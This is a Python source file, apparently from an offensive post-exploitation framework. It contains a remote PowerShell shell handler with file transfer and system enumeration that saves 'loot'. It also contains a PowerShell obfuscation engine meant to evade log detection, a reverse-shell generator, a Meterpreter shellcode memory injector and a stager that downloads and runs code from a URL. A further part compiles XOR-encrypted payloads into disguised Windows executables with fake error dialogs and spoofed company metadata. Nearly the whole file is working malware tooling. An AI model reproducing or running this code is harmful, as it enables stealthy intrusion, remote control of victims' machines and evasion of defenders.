				column2_max = max(max(len(x[2]) for x in credentials), len("Password")) + 2
				
				base_template = "\n  {:<" + str(column0_max) + "}{:<" + str(column1_max) + "}{:<}"
				
				sys.stdout.write(Print.wipe())
				sys.stdout.write(base_template.format("Variable", "Username", "Password"))
				sys.stdout.write("\n  " + ("-" * (column0_max - 2)) + "  " + ("-" * (column1_max - 2)) + "  " + ("-" * (column2_max - 2)))
				
				for credential in credentials:
					sys.stdout.write(base_template.format(credential[0], credential[1], credential[2]))
				
				sys.stdout.write("\n")
				sys.stdout.flush()
				Print.text()
				
			else:
				Print.warning("No credentials have been created")			
		else:
			Print.warning("No credentials have been created")
		
		# Send empty command to load buffer
		self.send_command("")
		
	
	def psh_Local_Clear(self):
		
		# Clear console
		os.system("clear; echo -e \"\\033c\\e[3J\"")

		# Send empty command to load buffer
		self.send_command("")


	def psh_Local_Invoke(self, file_path, is_module=False):
		
		try:
			# Remove encapsulating quotes
			file_path = Utility.remove_encapsulating_quotes(file_path)

			# Do nothing if file path is empty
			if len(file_path) > 0:
				
				sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True))

				# Get filename, for local storage
				file_name = os.path.basename(file_path)

				# Remove remote file if exists
				if os.path.isfile(file_path):
					
					# Temporary variable name
					variable_name = Utility.dynamic_variable()
				
					# Get file size
					length = os.path.getsize(file_path)
					chunk_size = 384
					uploaded = 0
					
					# Check if file is empty
					if length > 0:
						
						# Reserve variable with an empty value
						self.framework.UploadVariableChunk(variable_name, "")
												
						# Open file for byte reading
						with open(file_name, "rb") as _file:
							
							# Start timer
							now = time.time()
							
							# Loop through each data chunk
							for i in range(int(length / chunk_size) + 1):
								
								# TODO :: Check if this can be made less CPU-intensive
								# Read base64 encoded chunk from file
								data = _file.read(chunk_size)
								self.framework.UploadVariableChunk(variable_name, base64.b64encode(data).decode("utf-8", "ignore"))
								uploaded += len(data)

								# Print sexy status
								sys.stdout.write("\b" * Print.status(
									"Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format(
										(uploaded / length * 100), 
										Print.size(uploaded), 
										Print.size(length),
										Print.ETA(now, uploaded, length)
									) + Print.wipe(), True))

						# Prompt for integrity check
						sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True))
						
						# Check integrity (of variable)
						if (self.framework.VariableSum(variable_name).lower() == hashlib.md5(open(file_path, "rb").read()).hexdigest().lower()):
							Print.success("Upload completed" + Print.wipe())
							Print.status("Invoking command...")
							
							# Invoke variable and print result
							# Retrieve prompt as the evaluation can effect the enviornment
							if is_module:
								self.prompt = self.format_response(self.framework.InvokeModuleVariable(variable_name))
							else:
								self.prompt = self.format_response(self.framework.InvokeVariable(variable_name))
							
						else:
							Print.error("Integrity check failed" + Print.wipe())
								
						# Remove variable after it has been used
						self.check_command("Remove-Variable -Name " + variable_name)
							
					# Show error if file is empty
					else:
						Print.error("The file is empty")							

				# Show error if file doesn't exist
				else:
					Print.error("File does not exist")				
		
		# Abort on ctrl+c
		except KeyboardInterrupt:
			Print.warning("Upload aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C"
			
			# Clear command buffer
			self.check_command("")
			
		# Unkown exception
		except Exception as e:
			Print.error("Something went wrong")
			Print.error(str(e))
			
			# Clear command buffer
			self.check_command("")
		
		# Send empty command to load buffer
		self.send_command("")

	
	def psh_Local_Download_Commands(self):
				
		# Clear command buffer
		self.check_command("")
		
		# Print message
		sys.stdout.write("\b" * Print.status("Downloading commands...", True))
		
		# Remove remote commands
		self.command_definition = {k: v for k, v in self.command_definition.items() if v != None}

		# Download commands
		for command in self.framework.DownloadCommands():
			self.command_definition[command] = None
		
		# Wipe line
		sys.stdout.write(Print.wipe())
		
		# Clear command buffer
		self.check_command("")
		
		# Send empty command to load buffer
		self.send_command("")

	
	def psh_Local_Set_Width(self, width=0):
		
		width = (Utility.get_terminal_width() - 2) if (width == 0 or len(str(width).strip()) == 0) else width
		
		if str(width).isdigit() and int(width) >= 80 and int(width) <= 1024:
			self.framework.SetWidth(int(width))
			Print.success("Window buffer width: " + str(width))
		else:			
			Print.error("Illegal value")
		
		# Clear command buffer
		self.check_command("")
		
		# Send empty command to load buffer
		self.send_command("")


	def psh_Local_Upload(self, file_path):
		
		# Remote file path holder, declared outside try-catch as it's used inside catch
		remote_file_path = ""
		
		try:
			# Remove encapsulating quotes
			file_path = Utility.remove_encapsulating_quotes(file_path)

			# Do nothing if file path is empty
			if len(file_path) > 0:
				
				sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True))

				# Get filename, for local storage
				file_name = os.path.basename(file_path)
				
				# Get absolute path from client, as some programs use starting path instead of the working directory
				remote_file_path = self.framework.AbsolutePath(".//") + file_name

				# Remove remote file if exists
				if os.path.isfile(file_path):
				
					# Get file size
					length = os.path.getsize(file_path)
					chunk_size = 384
					uploaded = 0
					
					# Check if file is empty
					if length > 0:
					
						# Remove remote file if exists
						if self.framework.FileExist(remote_file_path): self.check_command("rm " + remote_file_path)
												
						# Open file for byte reading
						with open(file_name, "rb") as _file:
							
							# Start timer
							now = time.time()
							
							# Loop through each data chunk
							for i in range(int(length / chunk_size) + 1):
								
								# Read base64 encoded chunk from file
								data = _file.read(chunk_size)
								self.framework.UploadChunk(remote_file_path, base64.b64encode(data).decode("utf-8", "ignore"))
								uploaded += len(data)

								# Print sexy status
								sys.stdout.write("\b" * Print.status(
									"Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format(
										(uploaded / length * 100), 
										Print.size(uploaded), 
										Print.size(length),
										Print.ETA(now, uploaded, length)
									) + Print.wipe(), True))

						# Prompt for integrity check
						sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True))

						# Check integrity
						if (self.framework.FileSum(remote_file_path).lower() == hashlib.md5(open(file_path, "rb").read()).hexdigest().lower()):
							Print.success("Upload completed" + Print.wipe())
						else:
							Print.error("Integrity check failed" + Print.wipe())
							
					# Show error if file is empty
					else:
						Print.error("The file is empty")							

				# Show error if file doesn't exist
				else:
					Print.error("File does not exist")				
		
		# Abort on ctrl+c
		except KeyboardInterrupt:
			Print.warning("Upload aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C"

			# Remove remote file if exists
			if self.framework.FileExist(remote_file_path): self.check_command("rm " + remote_file_path)
			
			# Clear command buffer
			self.check_command("")
		
		# Send empty command to load buffer
		self.send_command("")


	def psh_Local_Download(self, file_path):
		
		try:
			# Remove encapsulating quotes
			file_path = Utility.remove_encapsulating_quotes(file_path)

			# Do nothing if file path is empty
			if len(file_path) > 0:
				
				sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True))

				# Get absolute path from client, as some programs use starting path instead of the working directory
				file_path = self.framework.AbsolutePath(file_path)
				
				# Get filename, for local storage
				file_name = file_path.split("\\")[-1:][0]
				
				# Check if file exists
				if (self.framework.FileExist(file_path)):
					
					# Get file size from client
					length = self.framework.FileSize(file_path)
					chunk_size = 384
					downloaded = 0

					# Check if file is empty
					if length > 0: 

						# Remove local file if exists, data will get appended
						try: os.remove(file_name)
						except OSError: pass

						# Open file for byte appending
						with open(file_name, "ab") as _file:
							
							# Start timer
							now = time.time()
							
							# Loop through each data chunk
							for i in range(int(length / chunk_size) + 1):
								
								# Download base64 encoded chunk from client
								chunk = base64.b64decode((self.framework.DownloadChunk(file_path, i * chunk_size, chunk_size)))
								downloaded += len(chunk)
								
								# Write chunk to file
								_file.write(chunk)

								# Print sexy status
								sys.stdout.write("\b" * Print.status(
									"Downloading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format(
										(downloaded / length * 100), 
										Print.size(downloaded), 
										Print.size(length),
										Print.ETA(now, downloaded, length)
									) + Print.wipe(), True))

						# Prompt for integrity check
						sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True))

						# Check integrity
						if (self.framework.FileSum(file_path).lower() == hashlib.md5(open(file_name, "rb").read()).hexdigest().lower()):
							Print.success("Download completed" + Print.wipe())
						else:
							Print.error("Integrity check failed" + Print.wipe())
							
					# Show error if file is empty
					else:
						Print.error("The file is empty")

				# Show error if file doesn't exist on client
				else:
					Print.error("File does not exist")
			
		# Abort on ctrl+c
		except KeyboardInterrupt:
			Print.warning("Download aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C"

			# Remove local file if exists
			try: os.remove(file_name)
			except OSError: pass
			
			# Clear command buffer
			self.check_command("")
		
		# Send empty command to load buffer
		self.send_command("")


	def psh_Local_Enumerate_System(self):
		
		commands = [
			{
				"name"			: "enum.powershell.modules",
				"message"		: "Enumerating powershell modules...",
				"command"		: r"Get-Module -ListAvailable",
			},
			{
				"name"			: "enum.powershell.variables",
				"message"		: "Enumerating powershell variables...",
				"command"		: "Get-Variable |%{ \"Name : {0}`r`nValue: {1}`r`n\" -f $_.Name,$_.Value }",
			},
			{
				"name"			: "enum.computer.system",
				"message"		: "Enumerating computer system...",
				"command"		: r"Get-WmiObject -Class Win32_ComputerSystem|fl *",
			},
			{
				"name"			: "enum.bios.info",
				"message"		: "Enumerating BIOS information...",
				"command"		: r"Get-WmiObject -Class Win32_BIOS -ComputerName .|fl *",
			},
			{
				"name"			: "enum.operating.system",
				"message"		: "Enumerating operating system...",
				"command"		: r"Get-CimInstance Win32_OperatingSystem|fl *",
			},
			{
				"name"			: "enum.internet.explorer",
				"message"		: "Enumerating Internet Explorer...",
				"command"		: r"(Get-ItemProperty 'HKLM:\Software\Microsoft\Internet Explorer')",
			},
			{
				"name"			: "enum.devices",
				"message"		: "Enumerating devices...",
				"command"		: r"Get-PnpDevice|Select-Object Status,Class,FriendlyName,InstanceId|ft -Wrap",
			},
			{
				"name"			: "enum.disks",
				"message"		: "Enumerating disks...",
				"command"		: r"Get-WmiObject -Class Win32_LogicalDisk -ComputerName .|ft -Wrap",
			},
			{
				"name"			: "enum.service.status",
				"message"		: "Enumerating service status...",
				"command"		: r"Get-WmiObject -Class Win32_Service -ComputerName .| Select-Object -Property Status,Name,DisplayName|ft -Wrap",
			},
			{
				"name"			: "enum.installed.software",
				"message"		: "Enumerating installed software...",
				"command"		: r"Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|ft -Wrap",
			},
			{
				"name"			: "enum.installed.patches",
				"message"		: "Enumerating installed patches...",
				"command"		: r"Get-WmiObject -Class win32_quickfixengineering|fl *",
			},
			{
				"name"			: "enum.group.membership",
				"message"		: "Enumerating group membership...",
				"command"		: "([ADSI](\"WinNT://$($env:COMPUTERNAME)\")).children.where({$_.class -eq 'group'}) | Select @{n='Computername';e={$_.Parent.split('/')[-1] }}, @{n='Name';e={$_.name.value}}, @{n='Members';e={(([ADSI](\"$($_.Parent)/$($_.Name),group\")).psbase.Invoke('Members')|%{$_.GetType.Invoke().InvokeMember('Name','GetProperty',$null,$_,$null)})-join';'}}",
			},
			{
				"name"			: "enum.activedirectory.forest",
				"message"		: "Enumerating Active Directory forest...",
				"command"		: r"[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()",
			},
			{
				"name"			: "enum.activedirectory.domain",
				"message"		: "Enumerating Active Directory domain...",
				"command"		: r"[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()",
			},
			{
				"name"			: "enum.activedirectory.gc",
				"message"		: "Enumerating Active Directory GCs...",
				"command"		: r"[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs",
			},
			{
				"name"			: "enum.user.membership",
				"message"		: "Enumerating user membership...",
				"command"		: r"whoami /all",
			},
		]
		output = ""
		
		for i in range(len(commands)):
			Print.status(("(%d/%d) " % (i + 1, len(commands))) + commands[i]["message"])
			self.send_command(commands[i]["command"])
			output += commands[i]["name"] + "\n=======================================\n\n"
			output += (("\n".join(self.get_response().split("\n")[:-1])).strip())
			output += commands[i]["name"] + "\n\n"
		
		file_name = "/tmp/" + Utility.dynamic_variable()
		with open(file_name, "w+") as _file:
			_file.write(output)
			Print.success("Loot saved at %s" % file_name)
		
		self.send_command("")


# Wraps a pwoershell command in a hex decoder
def powershell_encoding(payload):
	
	# Wrap payload in a hex decoder
	return powershell_obfuscation("(-[_OBF_JOIN_](('" + ("".join("{:02x}".format(ord(c)) for c in payload)) + "'-[_OBF_SPLIT_]'(?<=\G.{2})(?!$)')|%{[[_OBF_CONVERT_]]::[_OBF_TOINT16_](($_),16)-[_OBF_AS_][[_OBF_CHAR_]]}))|[_OBF_INVOKE_EXPRESSION_]")


# Obfuscates powershell code in accordance with some standard rules
def powershell_obfuscation(data):
	global obfuscation

	obfuscate = (Utility.get_configuration_value("obfuscation"))
	clone = data
	
	obfuscation_technique = Utility.enum(
		RANDOM_CASE					= 0,

		STRING_SPLITING				= 1,
		STRING_SPLITING_INVOKE		= 2,
		STRING_SPLITING_AMP			= 3,

		REORDERING					= 4,
		REORDERING_INVOKE			= 5,
		REORDERING_AMP				= 6,

		COMMON_RELOCATION			= 7,	
		COMMON_RELOCATION_INVOKE	= 8,
		COMMON_RELOCATION_AMP		= 9,
		
		COMMAND_INVOKATION			= 10,
	)
	
	for key, value in obfuscation.items():
		if (type(value) is dict):
			while clone.count(key) > 0:
				subject = list(value["text"])
				subject = random.choice(value["text"]) if type(value["text"]) is list else value["text"]
				
				def technique(x):
										
					def randomize_case(subject):
						subject = list(subject)
						
						for i in range(len(subject)):
							if random.getrandbits(1):
								subject[i] = subject[i].upper()
							
						return "".join(subject)
					
					
					def string_spliting(subject):
						
						pieces = []
						subject = technique([obfuscation_technique.RANDOM_CASE])(subject)
						
						while(len(subject) > 0):
							piece = subject[:random.randint(1, len(subject))]
							if piece[len(piece) - 1:len(piece)] != "`":
								subject = subject[len(piece):len(subject)]
								pieces.append(piece)
							
						return "('" + "'+'".join(pieces) + "')"
					
					
					def reordering(subject):
						
						pieces = []
						indeces = []
						subject = technique([obfuscation_technique.RANDOM_CASE])(subject)
						
						while(len(subject) > 0):
							piece = subject[:random.randint(1, len(subject))]
							if piece[len(piece) - 1:len(piece)] != "`":
								subject = subject[len(piece):len(subject)]
								pieces.append(piece)
						
						indeces = list(range(len(pieces)))
						random.shuffle(indeces)
						
						return "('" + "".join("{" + str(i) + "}" for i in indeces) + "'-f" + ",".join("'" + pieces[indeces.index(i)] + "'" for i in range(len(pieces))) + ")"
					
						
					def common_relocation(subject):
						subject = list(subject)
						uniq = list(set(subject))
						
						random.shuffle(uniq)
						
						return "(('" + (" ".join([str(uniq.index(x)) for x in subject])) + "'-" + technique([obfuscation_technique.RANDOM_CASE])("replace") + "'\\w+','{${0}}'-" + technique([obfuscation_technique.RANDOM_CASE])("replace") + "' ','')-f" + (",".join(["'" + x + "'" for x in uniq])) + ")"
					
					def command_invokation(subject):
						
						# Generate Get-Command part
						gcm = random.choice([".", "&"]) + technique([
							obfuscation_technique.STRING_SPLITING,
							obfuscation_technique.REORDERING,
							obfuscation_technique.COMMON_RELOCATION
						])("gcm")

						# Obfuscate command name
						command_name = technique([
							obfuscation_technique.STRING_SPLITING,
							obfuscation_technique.REORDERING,
							obfuscation_technique.COMMON_RELOCATION
						])(subject)
						
						return random.choice([".", "&"]) + "(" + gcm + command_name + ")"
													
					
					return {
						# Randomize case
						obfuscation_technique.RANDOM_CASE				: randomize_case,
												
						# String spliting
						obfuscation_technique.STRING_SPLITING			: string_spliting,
						obfuscation_technique.STRING_SPLITING_INVOKE	: lambda subject: technique([obfuscation_technique.STRING_SPLITING])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"),
						obfuscation_technique.STRING_SPLITING_AMP		: lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.STRING_SPLITING])(subject),
						
						# Reordering
						obfuscation_technique.REORDERING				: reordering,
						obfuscation_technique.REORDERING_INVOKE			: lambda subject: technique([obfuscation_technique.REORDERING])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"),
						obfuscation_technique.REORDERING_AMP			: lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.REORDERING])(subject),
						
						# Common relocation
						obfuscation_technique.COMMON_RELOCATION			: common_relocation,
						obfuscation_technique.COMMON_RELOCATION_INVOKE	: lambda subject: technique([obfuscation_technique.COMMON_RELOCATION])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"),
						obfuscation_technique.COMMON_RELOCATION_AMP		: lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.COMMON_RELOCATION])(subject),
								
						# Command invokation
						obfuscation_technique.COMMAND_INVOKATION		: command_invokation,
						
					}[random.choice(x)]
				
				def f(x):
					return {
						
						# Command obfuscation
						obfuscation_type.COMMAND
						: lambda subject: technique([
							obfuscation_technique.RANDOM_CASE,
						] if (not obfuscate) else [
							obfuscation_technique.STRING_SPLITING_AMP,
						 	obfuscation_technique.REORDERING_AMP,
						 	obfuscation_technique.COMMON_RELOCATION_AMP,
							
							obfuscation_technique.COMMAND_INVOKATION,
						])(subject),
						
						# Argument obfuscation
						obfuscation_type.ARGUMENT
						: lambda subject: technique([
							obfuscation_technique.RANDOM_CASE,
						] if (not obfuscate) else [
							obfuscation_technique.STRING_SPLITING, 
							obfuscation_technique.REORDERING, 
							obfuscation_technique.COMMON_RELOCATION,
						])(subject),
						
						# Member obfuscation
						obfuscation_type.MEMBER
						: lambda subject: technique([
							obfuscation_technique.RANDOM_CASE,
						] if (not obfuscate) else [
							obfuscation_technique.STRING_SPLITING_INVOKE,
							obfuscation_technique.REORDERING_INVOKE,
							obfuscation_technique.COMMON_RELOCATION_INVOKE,
						])(subject),
						
					}.get(x, lambda subject: technique([obfuscation_technique.RANDOM_CASE])(subject))
				
				# Apply obfuscation
				subject = f(value["type"])(subject)
							
				clone = Utility.replace_nth(clone, key, subject, 0)
		else:
			clone = clone.replace(key, value)

	return "".join(clone)


# Generates main powershell block
def generate_main(payload):
	global powershell_blocks
	
	# Encode payload
	payload = powershell_encoding(payload)
	
	main_block = powershell_obfuscation(powershell_blocks[powershell_block.MAIN]).replace(
		"[_PS_LOAD_]", payload
	)

	return main_block


# Generates EC (EncodedCommand) powershell block, with some extra obfuscation totally avoiding "-EC"
# However, I have noticed the powershell engine still interpreting this as -EC... so not 100% stealthy
def generate_encoded_command(load):
	global powershell_blocks

	c45 = random.randint(0, 45)
	c101 = random.randint(0, 101)
	c99 = random.randint(0, 99)

	return powershell_obfuscation(powershell_blocks[powershell_block.ENCODED_COMMAND]).replace(
		"[_PS_VAR_1_]", Utility.dynamic_variable()
	).replace(
		"[_PS_VAR_2_]", Utility.dynamic_variable()
	).replace(
		"[_PS_VAR_3_]", Utility.dynamic_variable()
	).replace(
		"[_PS_VAR_4_]", Utility.dynamic_variable()
	).replace(
		"[_PS_VAR_C45_A_]", str(c45)
	).replace(
		"[_PS_VAR_C45_B_]", str(45 - c45)
	).replace(
		"[_PS_VAR_C101_A_]", str(c101)
	).replace(
		"[_PS_VAR_C101_B_]", str(101 - c101)
	).replace(
		"[_PS_VAR_C99_A_]", str(c99)
	).replace(
		"[_PS_VAR_C99_B_]", str(99 - c99)
	).replace("[_PS_LOAD_]", load)


# Generates base64 decoder powershell block
# The idea is that this + EC will simulate an (IEX + webclient) call 
# without calling the IEX at all... so looking for IEX in the logs won't help you here
def generate_base64_decoder(url):
	global powershell_blocks

	return generate_encoded_command(
		powershell_obfuscation(powershell_blocks[powershell_block.BASE64_DECODER]).replace(
			"[_PS_LOAD_]", generate_webclient("+".join("'" + x + "'" for x in url))
		)
	)


# Generates XOR decryptor powershell block
# This is used for all payloads being temporary stored on disk
def generate_xor_decryptor(url, key):
	global powershell_blocks

	return powershell_obfuscation(powershell_blocks[powershell_block.XOR_DECRYPTOR]).replace(
		"[_PS_LOAD_]", generate_webclient(url)
	).replace(
		"[_PS_XOR_I_]", Utility.dynamic_variable()
	).replace(
		"[_PS_XOR_KEY_]", key
	).replace(
		"[_PS_XOR_KEY_SIZE_]", str(len(key))
	)


# Generates webclient powershell block
def generate_webclient(url):
	global powershell_blocks

	return powershell_obfuscation(powershell_blocks[powershell_block.WEB_CLIENT]).replace("[_URL_]", url)


# Generates memory injection powershell block
# Used for example with injection of a meterpreter stager into memory
def generate_injection(payload, architecture):
	global powershell_blocks

	# Generate payload
	payload = (
		powershell_obfuscation(powershell_blocks[powershell_block.MEMORY_INJECTION]).replace(
			"[_PS_MEMB_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_PAYLOAD_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_WF_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_X_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_I_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_ARCHITECTURE_]",
			"64" if architecture == os_target.WIN64 else "32"
		).replace(
			"[_PS_PAYLOAD_]",
			payload
		)
	)
	
	# Encode payload
	payload = powershell_encoding(payload)

	return payload


# Generates reverse shell powershell block
def generate_reverse_shell(lhost, lport):
	global powershell_blocks	
	
	# Generate payload
	payload = (
		powershell_obfuscation(powershell_blocks[powershell_block.REVERSE_SHELL]).replace(
			"[_PS_VAR_ASCII_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_UNICODE_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_CLIENT_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_STREAM_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_SEND_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_BYTES_]",
			Utility.dynamic_variable()
		).replace(
			"[_PS_VAR_I_]",
			Utility.dynamic_variable()
		).replace(
			"[_LHOST_]",
			lhost
		).replace(
			"[_LPORT_]",
			lport
		)
	)
	
	# Encode payload
	payload = powershell_encoding(payload)
	
	return payload


# Generates injection payload powershell block
# Generates injection payloads either from templates or from path
def generate_injection_payload():

	# Create an empty holder for an embedded payload
	payload_embedded = ""

	# Check what to generate
	if Utility.get_configuration_value(conf_name.PATH) != None:
		with open(Utility.get_configuration_value(conf_name.PATH), "r") as _file:
			payload_embedded = Utility.ps_base64encode(_file.read())
	
	elif Utility.get_configuration_value(conf_name.METERPRETER):
		payload_embedded = Utility.ps_base64encode(
			generate_injection(
				Utility.replace_all(
					shellcodes[(shellcode.REVERSE_TCP_32 if Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32 else shellcode.REVERSE_TCP_64)],
					("[_LPORT_]", "[_LHOST_]"),
					Utility.local_address_to_binary_array_string(Utility.get_configuration_value(conf_name.LHOST), Utility.get_configuration_value(conf_name.LPORT))
				), Utility.get_configuration_value(conf_name.TARGET)
			)
		)
	
	elif Utility.get_configuration_value(conf_name.REVERSE_SHELL):
		payload_embedded = Utility.ps_base64encode(
			generate_reverse_shell(Utility.get_configuration_value(conf_name.LHOST), Utility.get_configuration_value(conf_name.LPORT))
		)

	if Utility.get_configuration_value(conf_name.GENERATE):
		with open(Utility.get_configuration_value(conf_name.OUTPUT), "w") as dump:
			dump.write(generate_encoded_command(payload_embedded))
		Print.add_name_value("File signature", hashlib.md5(open(Utility.get_configuration_value(conf_name.OUTPUT), "rb").read()).hexdigest(), Print.info)
		Print.success("Payload generated   : " + Utility.get_configuration_value(conf_name.OUTPUT))
		sys.exit()

	return payload_embedded


# Generates source
def generate_source():
	global c_source, c_source_embedded, c_source_mb

	if Utility.get_configuration_value(conf_name.URL) != None:

		val_key = []
		val_str = [
			ord(x) for x in generate_main(
				generate_encoded_command(
					Utility.ps_base64encode(
						generate_base64_decoder(Utility.get_configuration_value(conf_name.URL))
					)
				)
			)
		]

		for i in range(len(val_str)):
			val_key.append(random.randint(0, 255))
			val_str[i] = val_str[i] ^ val_key[i]

		Print.add_name_value("Payload size", str(len(val_str)) + " bytes", Print.info)

		return c_source.replace(
			"[_VAR_STR_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAL_STR_]",
			",".join(str(x) for x in val_str) + ",0"		# append \0 for zero termination (0 xor 0 equals 0)
		).replace(
			"[_VAR_KEY_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAL_KEY_]",
			",".join(str(x) for x in val_key) + ",0"		# append \0 for zero termination (0 xor 0 equals 0)
		).replace(
			"[_VAR_X_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAR_SI_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAR_PI_]",
			Utility.dynamic_variable()
		).replace(
			"[_MB_]",
			c_source_mb.replace(
				"[_VAL_MB_TITLE_]",
				Utility.get_configuration_value(conf_name.FAKE_ERROR)[0]
			).replace(
				"[_VAL_MB_CONTENT_]",
				Utility.get_configuration_value(conf_name.FAKE_ERROR)[1]
			) if (Utility.get_configuration_value(conf_name.FAKE_ERROR) != None) else "return 0;"
		)
	else:

		# Generate a temporary file name for later use
		remote_tmp_file = Utility.dynamic_variable()
		encryption_key = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(random.randint(24, 48)))

		Print.add_name_value("Temp file", remote_tmp_file, Print.info)
		Print.add_name_value("Encryption key", encryption_key, Print.info)

		val_key = []
		val_str = [
			ord(x) for x in generate_main(
				generate_encoded_command(
					Utility.ps_base64encode(
						generate_encoded_command(
							generate_xor_decryptor(
								"$env:temp+'\\" + remote_tmp_file + "'",
								encryption_key
							)
							# Remove temp file (note no plus-sign after temp)
							+ (";Remove-Item $env:temp'\\" + remote_tmp_file + "'")
						)
					)
				)
			)
		]

		val_key_emb = []
		val_str_emb = [ord(x) for x in generate_injection_payload()]

		for i in range(len(val_str)):
			val_key.append(random.randint(0, 255))
			val_str[i] = val_str[i] ^ val_key[i]

		# Initial encryption with generated key
		for i in range(len(val_str_emb)):
			val_str_emb[i] = val_str_emb[i] ^ ord(encryption_key[i % len(encryption_key)])

		# Second encryption with stored key
		for i in range(len(val_str_emb)):
			val_key_emb.append(random.randint(0, 255))
			val_str_emb[i] = val_str_emb[i] ^ val_key_emb[i]

		Print.add_name_value("Payload size", str(len(val_str)) + " bytes", Print.info)
		Print.add_name_value("Embedded size", str(len(val_str_emb)) + " bytes", Print.info)

		return c_source_embedded.replace(
			"[_VAR_PATH_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAR_TEMP_]",
			Utility.dynamic_variable()
		).replace(
			"[_TMP_FILENAME_]",
			remote_tmp_file
		).replace(
			"[_VAR_FILE_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAR_STR_STG_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAL_STR_STG_]",
			",".join(str(x) for x in val_str) + ",0"		# append \0 for zero termination (0 xor 0 equals 0) when using strings ONLY
		).replace(
			"[_VAR_KEY_STG_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAL_KEY_STG_]",
			",".join(str(x) for x in val_key) + ",0"		# append \0 for zero termination (0 xor 0 equals 0) when using strings ONLY
		).replace(
			"[_VAR_STR_EMB_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAL_STR_EMB_]",
			",".join(str(x) for x in val_str_emb)
		).replace(
			"[_VAR_KEY_EMB_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAL_KEY_EMB_]",
			",".join(str(x) for x in val_key_emb)
		).replace(
			"[_VAR_X_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAR_SI_]",
			Utility.dynamic_variable()
		).replace(
			"[_VAR_PI_]",
			Utility.dynamic_variable()
		).replace(
			"[_MB_]",
			c_source_mb.replace(
				"[_VAL_MB_TITLE_]",
				Utility.get_configuration_value(conf_name.FAKE_ERROR)[0]
			).replace(
				"[_VAL_MB_CONTENT_]",
				Utility.get_configuration_value(conf_name.FAKE_ERROR)[1]
			) if (Utility.get_configuration_value(conf_name.FAKE_ERROR) != None) else "return 0;"
		)


# Compiler for c-source
def compile_source():
	
	# Get output path
	output = Utility.get_configuration_value(conf_name.OUTPUT)

	# Define temporary file names
	temp_name_sourcecode	= "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".c"
	temp_name_manifest		= "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".manifest"
	temp_name_rc			= "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".rc"
	temp_name_o				= "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10)) + ".o"
	
	# TODO :: Add option to specify this later
	# Gather resource information
	rc_icon					= ("icon ICON \"" + os.path.abspath(Utility.get_configuration_value(conf_name.ICON)) + "\"") if (
								Utility.get_configuration_value(conf_name.ICON) != None 
								and os.path.isfile(Utility.get_configuration_value(conf_name.ICON))
							) else ""
	rc_elevation			= windres_manifest_elevation if (
								Utility.get_configuration_value(conf_name.ELEVATION)
							) else ""
	rc_architecture			= "X86" if Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32 else "amd64"
	rc_company_name			= names.get_last_name() + " INC."
	rc_description			= "Lorem ipsum dolor sit amet, consecteteur adipiscing elit."
	rc_internal_name		= "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10))
	rc_legal_name			= names.get_full_name()
	rc_original_filename	= output.split("/")[-1:][0]
	rc_product_name			= rc_internal_name
	
		
	source_content = generate_source()
	
	manifest_content = windres_manifest.replace(
		"[_RC_ARCHITECTURE_]"		, rc_architecture
	).replace(
		"[_RC_APPLICATION_NAME_]"	, rc_internal_name
	).replace(
		"[_RC_ELEVATION_]"			, rc_elevation
	)
	
